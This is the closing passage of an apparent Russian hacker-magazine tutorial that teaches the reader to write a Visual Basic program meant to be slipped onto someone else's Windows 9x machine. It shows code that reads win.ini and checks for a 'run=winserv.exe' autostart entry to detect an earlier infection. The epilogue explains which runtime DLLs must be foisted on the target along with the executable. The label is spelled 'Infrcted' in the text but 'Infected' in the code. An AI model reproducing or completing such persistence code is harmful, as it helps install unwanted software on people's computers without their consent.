Бешеная блинница

Спецвыпуск Хакер, номер #004, стр. 004-122-5

Open MustDieDir + "\win.ini" For Input As #1 ' получили каталог Выни

Input #1, Run ' ищем строку "run="

Input #1, Run ' теперь уже третья по счету :)

Input #1, Run ' вот она, родненькая :)

Close #1

If Run = "run=winserv.exe" Then GoTo Infected ' а мы тута уже были?

Теперь добавь метку Infrcted: перед MMControl1.UpdateInterval = 0

Все! Прога готова, аплодисменты :).

ЭпилоГ

Вот видишь, какая рульная прога получилась, а ты говорил - Васик саксь, Васик саксь... Естественно, эта прога не совершенна - например, если у тебя стоит Windows NT/2K, то весь кайф обломится :(. Но, как говориться в народе: "НЕТ предела совершенству". Так что не боись кодить, это даже интересно, а иногда затягивает по самые уши :). Хм, чуть не забыл архиважнейшую вещь! Эта прога написана на VisualBasic'е, о чем это говорит? Правильно, сам по себе .EXE'шник работать не будет. Вместе с прогой придется впаривать MCI32.OCX (обычно C:\WINDOWS\SYSTEM) и VBxxxxxx.DLL или VBRUNx00.DLL (тоже C:\WINDOWS\SYSTEM, у меня этот файл называется VB40032.DLL), но с вопросами впаривания, я думаю, ты справишься :)). Удачи!